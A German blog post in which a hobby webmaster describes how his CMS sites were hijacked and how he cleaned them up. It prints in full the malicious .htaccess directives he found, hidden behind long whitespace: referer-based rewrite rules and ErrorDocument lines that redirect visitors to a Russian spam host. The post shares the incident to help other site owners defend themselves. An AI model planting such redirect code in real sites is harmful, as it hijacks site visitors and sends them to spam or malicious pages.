Irgendwann in den letzten beiden Monaten ist es – vermutlicherweise russischen – Hackern oder deren freigelassenen Scripts gelungen, meine diversen Websites in Werbe- und Spam-Schleudern zu verwandeln. Das fällt zunächst keinem auf, der die URLs kennt, also z. B. http://blau-it.de. Wer jedoch über irgendeine mehr oder weniger populäre Suchmaschine (s. u. im ersten Listing) nach diesen Websites sucht und auch findet, bekommt beim Klick auf den Treffer statt der echten eine Seite mit freundlichen Einkaufs- oder Partnervermittlungsvorschlägen bzw. weniger erfreulichen Inhalten zu sehen.
Der unbedarfte Hobby-Webadmin, der ich nun mal bin, bekommt erst mal nichts mit, bis sich jemand per Mail oder Telefon beschwert oder die Hacker, obwohl sonst sehr sorgfältig, doch mal was kaputt machen auf der Seite. Der Mechanismus ist u. a. bei Unmask Parasites: Htaccess Redirect to Example.ru und Sucuri: osCommerce attacks erklärt (Tipp für andere Teilzeit-Webadmins: Sucuri hat einen freien Online-Site-Scanner, Unmask Parasites auch).
Der Schadcode wurde bei mir in den .htaccess-Dateien platziert und zwar vor und hinter den regulären WordPress-, Serendipity- bzw. Zenphoto-Anweisungen. Vorn stehen Redirect-Anweisungen auf getby_id.ru oder elementbyid.ru, wenn über eine Suchmaschine auf die Seite zugegriffen wird. Am Ende folgen nach vielen Leerzeilen Error-Seiten-Anweisungen, falls z. B. mal ein interner Link nicht funktioniert. Die Direktiven sind weit außerhalb der normalerweise in einem Editor sichtbaren Spalten gerückt, bei mir mittels Tabulatoren, evtl. damit die Größenänderung bei schon im Original mehreren kByte großen .htaccess-Dateien gar nicht auffällt.
[html]
… viele Tabs / Leerzeichen … <IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)
RewriteRule ^(.*)$ http://elementbyid.ru/ruby/index.php [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)
RewriteRule ^(.*)$ http://elementbyid.ru/ruby/index.php [R=301,L]
</IfModule>
… weitere Leerzeilen
# regulärer Inhalt
DirectoryIndex index.php
…
… Leerzeilen
… viele Tabs / Leerzeichen … ErrorDocument 400 http://elementbyid.ru/ruby/index.php
ErrorDocument 401 http://elementbyid.ru/ruby/index.php
ErrorDocument 403 http://elementbyid.ru/ruby/index.php
ErrorDocument 404 http://elementbyid.ru/ruby/index.php
ErrorDocument 500 http://elementbyid.ru/ruby/index.php
[/html]
Richtig gruselig wurde das ganze allerdings, nachdem ich die .htaccess-Dateien berichtigt und wieder auf den Server gestellt hatte. Innerhalb von Minuten war die verseuchte Variante wieder da. Passwörter waren schon geändert, FTP auf TLS umgestellt, Passwörter nochmal geändert – keine Besserung! Ich habe daraufhin den ohnehin mal wieder nötigen Update aller CMS-Systeme angeworfen – immens zeitaufwändig, aber ohne Erfolg.
Schuld war zum Schluss die .htaccess-Datei im Root-Ordner meines Webservers, der mehrere Ebenen über den Installationsverzeichnissen der CMS-Systeme liegt. Dort fehlten die simplen Zeilen:
[html]
Order deny, allow
Deny from all
[/html]
Dann habe ich neben den bereits erwähnten Online-Scannern Googles Skipfish ausprobiert und für hilfreich befunden sowie mir über die Google Webmaster Tools eine Site Verification-Datei geholt. Skipfish verweist in seiner Dokumentation auf eine Reihe weiterer Security Tools:
„A number of commercial and open source tools with analogous functionality is readily available (e.g., Nikto, Websecurify, Netsparker, w3af, Arachni); stick to the one that suits you best.“
Also, man wächst mit seinen Fehlern oder so ähnlich …